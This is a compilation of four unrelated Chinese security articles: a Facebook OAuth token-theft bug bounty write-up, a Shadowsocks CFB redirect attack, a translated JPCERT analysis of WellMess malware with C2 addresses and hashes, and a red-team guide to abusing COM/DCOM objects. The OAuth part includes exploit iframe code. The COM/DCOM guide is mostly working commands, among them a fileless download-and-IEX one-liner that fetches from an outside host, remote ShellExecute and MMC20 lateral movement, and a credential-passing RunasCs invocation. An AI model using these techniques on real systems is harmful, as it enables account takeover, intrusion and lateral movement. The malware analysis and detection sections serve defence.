`Facebook SDK`使用`"/connect/ping"` 发送出`user_access`
token，并将所有应用程序默认设置为白名单的URL重定向到`XD_Arbiter` 。在后台，SDK在初始化时会创建用于跨域通信的proxy
iframe。proxy iframe通过`postMessage()` API 发送回token，代码或未经授权,状态未知。
这是正常的登录流程
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
这个api受到了很好的保护，没有先前已知的错误（例如，参数污染，原始验证，重定向（＃！）等）的影响。我尝试了很多方法，但都没招。那该怎么办？
我注意到只有一个请求是可以修改的,`xd_arbiter.php?v=42`修改成`xd_arbiter/?v=42`,除了路径遍历之外，还可以进一步添加更多目录/参数。
首先，从哈希片段中窃取令牌非常困难。在这一点上，我们需要一个proxy
iframe，该框架可以（劫持）为我们完成这项工作，例如API,`location.hash`,`postMessage()API`,任何来源的"*"。（跨域请求）
幸运的是，我很快发现了`page_proxy`。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
它包含了我们想要的代码!
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
这个资源有一个`EventListener`的属性，如果条件检查未满足，那么代码抛出postMessage(),可以用`frameName`的任何来源`*`,这是不正确的配置.
## Exploiting Proxy
利用这玩意并不难,我将page_proxy资源附加到xd_arbiter。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
在此漏洞利用中，有几点很重要。
1. 缺少`X-Frame-Options`标题。（非常脆弱）
2. 另外就是`window.parent`，它本身不需要和用户交互。不需要关心window.open或任何onClick事件。
## 重写Custom_SDK.js
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
现在,就可以进行跨域攻击.
## Facebook帐户接管
如果第一方的graphql令牌泄漏，就可以查询电话然后进行添加并确认新的电话号码以进行帐户恢复。由于它们已经被列入GraphQL查询的白名单，所以不用任何权限检查。即使将隐私控制设置为`仅自己`，同样也具有完全的读/写特权，例如消息，照片，视频。
## FIX
我报告交了没几个小时,FB就修复了这个漏洞.
/connect/ping api被弃用
XD_Arbiter中添加了__d 以中断page_proxy中的JS执行
## 验证修复和Bypass
虽然我们双方都知道OAuth的核心api`/dialog/oauth/`仍然使用令牌将其重定向到`page_proxy`。我告诉FB也要修这些api，但FB回应，Facebook说xd_arbiter被列入白名单，并且该团队认为page_proxy资源中的代码更改也可以缓解此问题，所以令牌本身无法泄漏。
2-3天后，我重新访问了page_proxy的代码，发现`__d`(`JSSDKConfig`)代码移至底部，并且对调用的`postMessage()`能够再次执行。我没有完全分析它们所做的更改，但是我猜想前面的修复措施可能会破坏其他资源。这就是代码行移至底部的原因。我立即重建了安装程序。
`www.facebook.com`并不遵循重定向到`xd_arbiter`的状态，而是为客户端来源创建了`closed_window`和postMessage()。
（攻击失败）此规则适用于chrome的`m`，`mobile`，`touch`等，但不适用于Firefox。您可能知道Facebook如何在User-Agent和子域之间发挥作用。
输入`mbasic.facbook.com`就会响应HTTP 302重定向标头，并且适用于所有浏览器。
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
## 再次修复
1. 不再允许对xd_arbiter进行任何修改/篡改。（仅接受绝对文件路径"xd_arbiter.php"）
2. 用于xd_arbiter的所有重定向HTTP状态均被阻止。（mbasic.facebook.com）
3. 7SWBAvHenEn.js从服务器中删除。
4. 在另一个JS资源中添加了正则表达式验证过滤器。
我很高兴能参与这次披露，并且为成功实现我的目标感到高兴。^-^
## 影响
攻击者构造的钓鱼网站可以获得用户的token
## 时间线
1. 2019年12月16日–发送初次报告。
2. .......
3. .......
4. .......
5. 2020年2月21日– 55,000美元(合并的奖励),这是账户劫持的最高赏金.
[原文地址!!!戳我](https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/) | 社区文章 |
**作者： BG7YWL
公众号：[ 数智安全研究院](http://https://mp.weixin.qq.com/s/RWfgkRnTn6r7MFUybsHUkQ "
数智安全研究院*")**
## 前言
**Shadowsocks** （简称SS）是一款科学上网工具，基于Socks5代理方式的加密传输协议，但是近年来随着GFW墙的日益增高，一些
Shadowsocks 流量已经可以被很好的识别出来。
虽然“协议可以被识别”已经众所周知，但我们依旧认为，Shadowsocks 的加密做的不错，中间人应该破解不出明文信息。
然而，近期一份来自于奇虎 360 核心安全团队于披露的论文显示：Shadowsocks 的 steam
加密存在漏洞，导致数据包头部可被修改。攻击者可以利用修改过后的数据包进行「重定向」，从而进行 MITM 攻击。
目前受影响的包括：shadowsocks-py, shadowsocoks-go, shadowsocoks-nodejs.
## socks5 协议基础
虽然 Shadowsocks 使用的底层协议是 SOCKS5，但对于本文而言，底层的 SOCKS5 并不是重点，我们只需要关注 Shadowsocks
的客户端与服务器之间是如何传输数据的。
根据官方文档所说，客户端向服务器发送的数据，一开始是流密码的 IV（也就是说，IV
由客户端生成，并直接扔进数据包中），之后就是一段加密数据，它的明文格式是这样的：[目标地址][数据]
其中，类型是 1 字节的枚举值：
* 0x01：主机名是 IPv4 地址；
* 0x03：主机名是变长字符串，首字节表示长度（最大 255），后面是数据；
* 0x04：主机名是 IPv6 地址。
**一次代理的过程如下：**
1. 客户端将这些数据加密后发到服务器；
2. 服务器收到后将其解密，会得到 [1 字节类型][主机名][2 字节端口][数据]；
3. 服务器会将数据部分直接发送给 主机名:端口；
4. 服务器将主机返回的数据直接使用同样的算法加密（如果加密算法用了流密码，则会生成并使用一个新的 IV，并将其放在包的最前面），发送给客户端；
5. 客户端解密后即可得到主机返回的数据。
论文中提到，如果攻击者抓到了一个 Shadowsocks 服务器返回的包，并且已知数据部分的开头七个字节，那么有可能在不知道密码的情况下，利用
Shadowsocks 服务器来解出包的绝大部分内容（最多损失 16 字节）。
**作者的思路**
假设有一台 Shadowsocks 服务器，攻击者通过嗅探或其它方式抓到了这个 Shadowsocks 服务器返回的一个包。
为了知道明文内容，攻击者要么暴力破解密码（几乎不可行），要么想办法利用这台 Shadowsocks 服务器帮忙解密。
作者选择了后者，即想办法把这个包变成客户端发的包，让服务器解密后代理到自己指定的服务器，这被称为重定向攻击。
## CFB 模式
前面说了，Shadowsocks 客户端的发包格式是 ：[1 字节类型][主机名][2
字节端口][数据]。如果攻击者可以利用加密算法的缺陷来篡改明文数据，就可以把主机名改成攻击者的服务器地址，Shadowsocks
服务器就会以为客户端想访问攻击者的服务器，于是就把解密后的包中的数据部分发了过去。
先考虑如何篡改数据。假设这台 Shadowsocks 服务器的加密算法使用的是 AES-256-CFB。
CFB模式的全称是 Cipher FeedBack模式(密文反馈模式)，在CFB模式中前一密文分组会被送到密码算法的输入端，进行下一分组的加密。
加密的流程如下图所示：
相反的解密流程如下所示：
只看解密流程，如果我们知道了 明文分组1 和 密文分组1，接下来就可以通过构造一个假的密文分组1，让 Shadowsocks 服务器解密来伪造一个任意的
明文分组1。
'明文分组1' xor '密文分组1' = 'enc_iv''假密文分组1' xor 'enc_iv' = '假明文分组1''enc_iv' xor' 假明文分组1' = '假密文分组1'
通过这样的方式控制 假密文分组1 就可以构造任意的 假明文分组1 了。
## 漏洞利用过程
通过上面协议的分析，可以得出 sslocal 发送给 ssserver 的数据格式为：
随机IV + encrypt([ 1-byte type][variable-length host][2-byte port][payload])
ssserver 发送给 sslocal 的数据格式为：
随机IV + encrypt([payload])
如果拿到 ssserver 发送给 sslocal
的数据，使用常规的非暴力手段是无法解密的，但是如果我们知道此数据的前7个字节，那么就可以利用CFB明文伪造攻击将 假明文分组1 的前7个字节伪造为 [
1-byte type][variable-length host][2-byte port]，然后把此数据包做为 sslocal 发送给 ssserver
的数据，发给 ssserver。
因为数据 [ 1-byte type][variable-length host][2-byte
port]的内容被我们控制，所以将目标地址修改为我们自己的服务器，然后 ssserver 就会把解密完的数据发送到我们自己的服务器上，工作过程如下所示：
ss-local(fake one) <--[encrypted]--> ss-remote <---> target(controlled)
那关键问题是怎么知道加密数据的前7个字节的明文呢？论文中提供了一种方法，如果用户使用 Shadowsocks 进行 http
通信，那么响应的前7个字节是HTTP/1,我们可以利用这7个字节来解密整个数据包。
直接用 LeadroyaL 写好的 exp 进行测试 <https://github.com/LeadroyaL/ss-redirect-vuln-exp>。由于攻击者修改了 密文分组1 ，而 密文分组1 在 CFB 模式中又用来解密 明文分组2 ，因此收到的 明文分组2 这 16 个字节是乱码。
攻击者最终可以还原出 明文分组2 以外的所有数据。论文中的命令行截图也说明了这点，获取到的数据的第一个字节是之前包的明文的第 8 个字节（前 7 个是
HTTP/1.），然后有 9 个字节是正确的，之后 16 个字节是乱码，再之后是完全正确的。
## 防御措施
1. 禁用 shadowsocks-py、shadowsocks-go、go-shadowsocks2、shadowsocks-nodejs
2. 只用 shadowsocks-libev，并且只使用 AEAD 加密
原因如下：shadowsocks-libev 的实现很久之前就已经禁止了 IV 重用，可以在一定程度上防止这种攻击；只要加密算法带有 AEAD
特性，那么数据就无法被篡改，本文的攻击方式也是无效的。
## 参考链接
1. <https://github.com/edwardz246003/shadowsocks>
2. <https://wonderkun.cc/2020/02/18/shadowsocks>
3. <https://github.com/LeadroyaL/ss-redirect-vuln-exp>
4. <https://jiajunhuang.com/articles/2019_06_06-socks5.md.html>
* * * | 社区文章 |
# 针对 Linux 及 Windows 平台的恶意软件 WellMess 分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.jpcert.or.jp
原文地址：<https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
一些恶意软件如果想在多个平台上运行，最常见的方法是使用Java语言来编写。例如，在过去的[文章](https://blog.jpcert.or.jp/2016/05/decoding-obfuscated-strings-in-adwind.html)中介绍的Adwind恶意软件是用Java编写的，它可以在Windows和其他操作系统上运行。但本文介绍的恶意软件并不是使用java编写的，而是通过Golang所编写。
本文将介绍一款名为WellMess恶意软件的行为。它是一种在Golang中编程的恶意软件，并经过交叉编译，使其与Linux和Windows兼容。有关恶意软件功能的更多详细信息，请参阅LAC
[1]的报告。
## WellMess的行为
通常，Golang可执行文件本身包含许多必需的库。这通常会增加文件大小，使WellMess大于3
MB。另一个特性是可以在文件本身中找到可执行文件的函数名称。（即使对于剥离文件，也可以使用GoUtils2.0
[2]等工具检索函数名。）以下是WellMess中使用的函数名称：
_/home/ubuntu/GoProject/src/bot/botlib.EncryptText
_/home/ubuntu/GoProject/src/bot/botlib.encrypt
_/home/ubuntu/GoProject/src/bot/botlib.Command
_/home/ubuntu/GoProject/src/bot/botlib.reply
_/home/ubuntu/GoProject/src/bot/botlib.Service
_/home/ubuntu/GoProject/src/bot/botlib.saveFile
_/home/ubuntu/GoProject/src/bot/botlib.UDFile
_/home/ubuntu/GoProject/src/bot/botlib.Download
_/home/ubuntu/GoProject/src/bot/botlib.Send
_/home/ubuntu/GoProject/src/bot/botlib.Work
_/home/ubuntu/GoProject/src/bot/botlib.chunksM
_/home/ubuntu/GoProject/src/bot/botlib.Join
_/home/ubuntu/GoProject/src/bot/botlib.wellMess
_/home/ubuntu/GoProject/src/bot/botlib.RandStringBytes
_/home/ubuntu/GoProject/src/bot/botlib.GetRandomBytes
_/home/ubuntu/GoProject/src/bot/botlib.Key
_/home/ubuntu/GoProject/src/bot/botlib.GenerateSymmKey
_/home/ubuntu/GoProject/src/bot/botlib.CalculateMD5Hash
_/home/ubuntu/GoProject/src/bot/botlib.Parse
_/home/ubuntu/GoProject/src/bot/botlib.Pack
_/home/ubuntu/GoProject/src/bot/botlib.Unpack
_/home/ubuntu/GoProject/src/bot/botlib.UnpackB
_/home/ubuntu/GoProject/src/bot/botlib.FromNormalToBase64
_/home/ubuntu/GoProject/src/bot/botlib.RandInt
_/home/ubuntu/GoProject/src/bot/botlib.Base64ToNormal
_/home/ubuntu/GoProject/src/bot/botlib.KeySizeError.Error
_/home/ubuntu/GoProject/src/bot/botlib.New
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).BlockSize
_/home/ubuntu/GoProject/src/bot/botlib.convertFromString
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Encrypt
_/home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Decrypt
_/home/ubuntu/GoProject/src/bot/botlib.Split
_/home/ubuntu/GoProject/src/bot/botlib.Cipher
_/home/ubuntu/GoProject/src/bot/botlib.Decipher
_/home/ubuntu/GoProject/src/bot/botlib.Pad
_/home/ubuntu/GoProject/src/bot/botlib.AES_Encrypt
_/home/ubuntu/GoProject/src/bot/botlib.AES_Decrypt
_/home/ubuntu/GoProject/src/bot/botlib.generateRandomString
_/home/ubuntu/GoProject/src/bot/botlib.deleteFile
_/home/ubuntu/GoProject/src/bot/botlib.Post
_/home/ubuntu/GoProject/src/bot/botlib.SendMessage
_/home/ubuntu/GoProject/src/bot/botlib.ReceiveMessage
_/home/ubuntu/GoProject/src/bot/botlib.Send.func1
_/home/ubuntu/GoProject/src/bot/botlib.init
_/home/ubuntu/GoProject/src/bot/botlib.(*KeySizeError).Error
如前所述，WellMess有一个在Windows（PE）上运行的版本，还有一个在Linux（ELF）上运行的版本。尽管存在一些细微差别，但它们都具有相同的功能。恶意软件使用HTTP请求与C＆C服务器通信，并根据收到的命令执行功能。以下是通信示例:(用户代理值因样本而异。）
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Accept-Language: en-US,en;q=0.8
Cookie: c22UekXD=J41lrM+S01+KX29R+As21Sur+%3asRnW+3Eo+nIHjv+o6A7qGw+XQr%3aq+PJ9jaI+KQ7G.+FT2wr+wzQ3vd+3IJXC+lays+k27xd.+di%3abd+mHMAi+mYNZv+Mrp+S%2cV21.+ESollsY+6suRD+%2cx8O1m+%3azc+GYdrw.+FbWQWr+5pO8;1rf4EnE9=+WMyn8+8ogDA+WxR5R.+sFMwDnV+DFninOi+XaP+p4iY+82U.+hZb+QB6+kMBvT9R
Host: 45.123.190.168
Content-Length: 426
Expect: 100-continue
Accept-Encoding: deflate
Connection: Keep-Alive
pgY4C8 8JHqk RjrCa R9MS 3vc4Uk KKaRxH R8vg Tfj B3P,C 0RG9lFw DqF405. i3RU1 0lW 2BqdSn K3L Y7hEc. tzto yKU8 p1,E L2kKg pQcE1. b8V6S0Y 6akx, ggMcrXk 0csao Uwxn. fYVtWD rwt:BJ 5IBn rCMxZoo OsC. :ZXg pKT Re0 cJST1 L0GsC. 9dJZON9 qs29pPB pCTR:8 0hO0FK sK13UUw. jMA hDICL hGK1 qjRj1AY YMjAIeI. g7GEZPh gW:C eNX6 ptq kevfIyP. u,96r7c D:6ZiR fCC IIi cBvq,p. Vt96aEu JFLeu 0XtFJm ee4S 7M2. Uc68sF MArC5v 96ngG 9UvQGt 5:ut. qiE0xQ
命令执行的结果在HTTP
POST请求数据中发送，该数据是RSA加密的。Cookie标头中的数据是RC6加密的。以下是解密数据的示例。它包含受感染主机的标识符（<;
head;>标记之间的值）。
<;head;>6F3C9B16C16074079AFCFF09C6717B0F07864FFE09C1E1DB003B3627D174913B/p<;head;><;title;>a:1_0<;title;><;service;>p<;service;>
下面是解码Cookie标头中数据的代码的一部分。（该脚本在[Github](https://github.com/JPCERTCC/aa-tools/blob/master/wellmess_cookie_decode.py)上可以找到。）
def decode(data, key):
sep = ';'
field = data.split(sep)
i = 1
encdata = ""
while i < len(field):
value = field[i].split("=")
encdata += value[1]
I += 1
encdata = urllib.unquote(encdata)
encdata = encdata.replace("+", " ").replace(" ", "=").replace(". ", "").replace(" ", "").replace(",", "+").replace(":", "/")
maindata = base64.b64decode(encdata)
s = generateKey(base64.b64decode(key))
i = 0
decode = ""
while i < len(maindata):
orgi = rc6(maindata[i:i + 16], s)
decode += orgi
i += 16
print("Decrypted String: %s" % decode)
当从C＆C服务器接收命令时，恶意软件可以执行以下功能。
1.执行任意shell命令
2.上传/下载文件
此外，PE文件恶意软件执行PowerShell脚本。
## 基于.Net Framework开发的Wellmess
还有一个在.Net
Framework中开发的版本。图1显示了在与C＆C服务器通信时生成Cookie头中包含的数据的代码。它包含与Golang版本中Cookie数据相同的字符串。
## 最后
我们已经确认了一些在日本组织中发现WellMess感染的病例。使用恶意软件的攻击可能会继续。
我们在附录A中列出了样本的一些哈希值。我们已经确认的一些C＆C服务器也列在附录B中。请确保您的设备都没有访问这些主机。
* Shusei Tomonaga
（Yukako Uchida翻译）
## 参考
[1] LAC：网络应急中心报告第3卷（日文）
<https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf>
[2] GoUtils2.0
<https://gitlab.com/zaytsevgu/GoUtils2.0/>
### 附录A：SHA-256哈希值
bec1981e422c1e01c14511d384a33c9bcc66456c1274bbbac073da825a3f537d（Golang＆PE）
2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41（.Net＆PE）
### 附录B：C＆C服务器
45.123.190.168
103.13.240.46
101.201.53.27
185.217.92.171
93.113.45.101
191.101.180.78
审核人：yiwang 编辑：边边 | 社区文章 |
# 攻防技术：如何滥用COM & DCOM对象
|
##### 译文声明
本文是翻译文章，文章原作者 packetstormsecurity，文章来源：dl.packetstormsecurity.net
原文地址：<https://dl.packetstormsecurity.net/papers/general/abusing-objects.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
如今，蓝队成员大多熟悉流行的横向移动技术，这使得红队的攻击过程变得更加困难。所以，能否运用新型的初始访问和横向移动技术，成为了红队能否成功实现攻击的关键。在本文中，我们将介绍如何滥用DCOM对象，以及如何利用特定的COM对象来实现任务调度、无文件下载/执行、命令执行、在网络内部的横向移动。需要注意的是，这些对象的使用过程可能会被基于进程行为、基于启发式签名的检测方法检测到，从而导致失败。
## 二、关于COM对象
COM对象即“组件对象模型”，是一个独立于平台、分布式、面向对象的系统，用于创建可以交互的二进制软件组件。COM是Microsoft的OLE（复合文档）、ActiveX（启用网络的组件）和其他组件的基础技术。
## 三、COM与DCOM对象的区别
参考我们前面定义过的COM对象，DCOM与COM的主要区别是在于，COM是在客户端计算机的本地级别执行的，而DCOM（分布式组件对象模型）是在服务器端运行，我们可以将指令传递给DCOM对象，并使其通过网络执行。有一种更加简单的描述方法，我们可以将DCOM理解为通过RPC实现的COM。
## 四、为什么选择COM对象
使用COM对象的优势在于，从父子进程关系来看，它看上去是合法的，因为远程执行的任何内容（例如cmd.exe、powershell.exe等）都会作为子进程，而这种场景非常常见，比如explorer.exe的子进程。
## 五、DCOM的工作原理
在Windows注册表中，有3个标识符中包含DCOM配置数据：
1、CLSID：类标识符（CLSID）是全局唯一标识符（GUID）。Windows将每个已安装类的CLSID存储在程序中。当我们需要运行一个类时，我们需要正确的CLSID，这样Windows才能知道去哪里可以找到对应的程序。
2、PROGID：程序标识符（PROGID）是一个可选标识符，开发人员可以用它来代替更复杂、更严格的CLSID。PROGID通常更易于阅读和理解。但是，对于具有相同名称的PROGID并没有进行限制，这有可能会产生问题。
3、APPID：应用程序标识符（APPID）标识属于同一个可执行文件的所有类以及访问该可执行文件所需的权限。如果APPID不正确，DCOM将无法正常工作。
为了使DCOM可以访问COM对象，必须将AppID与该类的CLSID关联，并且需要为AppID提供适当的权限。没有关联AppID的COM对象不能从远程计算机直接访问。
基本的DCOM事务如下所示：
1、客户端计算机通过其CLSID或PROGID请求远程计算机创建对象。如果客户端传递了APPID，则远程计算机会使用PROGID查找CLSID。
2、远程计算机检查APPID，并验证客户端是否具有创建对象的权限。
3、DCOMLaunch.exe（如果是EXE）或DLLHOST.exe（如果是DLL）创建客户端计算机请求的类的实例。
4、通讯成功。
5、客户端现在可以访问远程计算机上的类中的所有函数。
## 六、利用COM对象实现命令执行
### 6.1 CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}的COM对象
Fireeye的研究人员Charles Hamilton发现prchauto.dll（位于C:\Program Files (x86)\Windows
Kits\10\App Certification
Kit\prchauto.dll）具有一个名为`ProcessChain`的类，该类公开了`CommandLine`属性，以及一个`Start`方法。
CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}：
`Start`接受对布尔值的引用。可以使用如下方式启动命令：
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)
执行{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}：
### 6.2 CLSID
{F5078F35-C551-11D3-89B9-0000F81FE221}（Msxml2.XMLHTTP.3.0）的COM对象
该对象公开了XML HTTP
3.0功能，可以用于下载并执行任意代码，而无需将Payload写入磁盘中，也不会触发寻找常用System.Net.WebClient的规则。XML HTTP
3.0对象通常用于执行AJAX请求。在这种情况下，可以使用`Invoke-Expression
cmdlet`（IEX）直接执行提取的数据，这可以导致无文件下载和执行。
CLSID {F5078F35-C551-11D3-89B9-0000F81FE221}：
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://10.10.10.10/code.ps1", $False); $o.Send(); IEX $o.responseText;
### 6.3 CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}的COM对象
该COM对象实现了用于操作Windows任务计划服务的`Schedule.Service`类。该COM对象允许特权用户在主机（包括远程主机）上调度任务，而无需在命令中使用schtasks.exe二进制文件或schtasks.exe。
$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
function Convert-Date {
param(
[datetime]$Date
)
PROCESS {
$Date.Touniversaltime().tostring("u") -replace " ","T"
}
}
### 6.4 CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}的COM（ShellWindows）
这种方法由现有的explorer.exe进程托管，ShellWindow
COM对象使用`Document.Application`属性。通过递归COM对象方法可以发现，我们可以对`Document.Application.Parent`属性返回的对象调用`ShellExecute`方法。
CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}：
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
### 6.5 CLSID
{C08AFD90-F2A1-11D1-8455-00A0C91F3880}的COM对象（ShellBrowserWindow）
与ShellWindows一样，该方法由现有的explorer.exe进程托管，ShellBrowserWindow
COM对象使用`Document.Application`属性，并且可以在`Document.Application.Parent`返回的对象上调用`ShellExecute`方法属性。
CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}：
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880"))
$hb.Document.Application.Parent.ShellExecute("calc.exe")
## 七、利用DCOM对象实现横向移动
### 7.1 MMC应用程序类（MMC20.Application）
由Matt Nelson在2007年发现，该COM对象允许我们编写`MMCsnap-in`操作的组件脚本，但是Matt发现我们可以利用`Document.ActiveView`下名为`ExecuteShellCommand`的方法通过网络执行命令。
DCOM（MMC20.Application）：
我们可以使用`MMC20.Application`的`ExecuteShellCommand`方法来远程执行命令或启动进程。
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134"))
$hb.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c echo Haboob > C:\hb.txt','7')
执行MMC20.Application：
### 7.2 EXCEL DDE（Excel.Application）
可以通过Cybereason最先发现的DCOM远程使用Office应用程序中的DDE功能。
`Excel.Application`的`DDEInitiate`方法：
由`Excel.Applicationobjects`公开的`DDEInitiate`方法将`App`参数限制为8个字符，但是将`Topic`的可管理字符限制为1024个，这是由于`CreateProcess`函数导致的。此外，该方法在`App`参数后面附加了`.exe`，因此cmd.exe会尝试运行`cmd.exe.exe`，显然会失败，因此在调用该方法时我们需要删除其扩展名（`.exe`）。同时，它也会弹出一些警报，但研究人员发现可以通过调整`DisplayAlerts`属性来禁用警报。
`Excel.Application`的`DisplayAlerts`方法：
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c echo Haboob > C:\hb.txt')
执行`Excel.ApplicationDCOM`：
### 7.3 iexplorer.exe中的`internetexplorer.Application`
这是由homjxi0e发现的一种技术，我们可以使用`navigate`方法在远程计算机上打开Internet
Explorer浏览器，并利用这种方式通过浏览器获取命令执行。
枚举`internetexplorer.Application`：
$Object_COM = [Activator]::CreateInstance([type]::GetTypeFromProgID("InternetExplorer.Application","192.168.126.134"))
$Object_COM.Visible = $true
$Object_COM.Navigate("http://192.168.100.1/exploit")
### 7.4 CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}的DCOM（ShellWindows）
正如我们在前面的命令执行部分中展示的那样，也可以通过在CLSID之后添加远程IP来使用这个COM对象。
执行ShellWindows：
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39",”192.168.1.1”))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
### 7.5 CLSID
{C08AFD90-F2A1-11D1-8455-00A0C91F3880}的DCOM对象（ShellBrowserWindow）
与ShellWindows一样，这个COM对象也可以用于在远程计算机上执行命令。
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880",”192.168.1.1”))
$hb.Document.Application.Parent.ShellExecute("calc.exe")
## 八、在非交互Shell传递凭据
DCOM对象在当前用户的会话中运行，如果我们有一个非交互式的Shell，并且想在特权更高的用户下运行它，可能就会出现问题。有一种快速的解决方案是在C#中使用antonioCoco的RunAs实现，我们可以将其与所选的DCOM对象组合在一起，从而在非交互式Shell中传递凭据。请注意，这比调用命令要更好，因为它使用的是WinRM。
首先，我们需要使用Base64对所选择的DCOM对象进行编码。
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134"));$hb.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c echo Haboob > C:\hb.txt","7")'))
接下来，我们使用以下命令调用`invoke-RunasCs`函数：
Invoke-RunasCs -Domain test -Username administrator -Password P@ssw0rd -Command "powershell -e JABoAGIAIAA9ACAAWwBhAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAHQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAFAAcgBvAGcASQBEACgAIgBNAE0AQwAyADAALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AIgAsACIAMQA5ADIALgAxADYAOAAuADEAMgA2AC4AMQAzADQAIgApACkAOwAkAGgAYgAuAEQAbwBjAHUAbQBlAG4AdAAuAEEAYwB0AGkAdgBlAFYAaQBlAHcALgBFAHgAZQBjAHUAdABlAFMAaABlAGwAbABDAG8AbQBtAGEAbgBkACgAIgBjAG0AZAAiACwAJABuAHUAbABsACwAIgAvAGMAIABlAGMAaABvACAASABhAGIAbwBvAGIAIAA+ACAAQwA6AFwAaABiAC4AdAB4AHQAIgAsACIANwAiACkA"
传递非交互Shell的凭据：
## 九、检测方法
1、使用这些DCOM方法可能需要对远程计算机的特权访问。因此，可以保护特权域帐户，避免在本地计算机的不同帐户之间使用相同的密码。
2、确保对这些控件进行深度防御，使用基于主机的安全产品对主机进行监测，从而发现并阻止可疑活动。启用基于主机的防火墙可以防止RPC/DCOM交互和实例化。
3、监视文件系统（和注册表），确认是否有新引入的组件和更改。
4、监视环境中PowerShell的可疑使用情况。尽可能地实施约束语言模式（对于特权帐户来说可能难以实现）。
5、在DCOM调用失败后，会根据CLSID在目标计算机上生成ID为10010的系统事件（Error, DistributedCOM）。
系统事件ID 10010：
## 十、参考文章
[1] <https://docs.microsoft.com/en-us/windows/win32/com/the-component-object-model>
[2] <https://www.varonis.com/blog/dcom-distributed-component-object-model/>
[3] <https://codewhitesec.blogspot.com/2018/07/lethalhta.html>
[4] <https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-part-two.html>
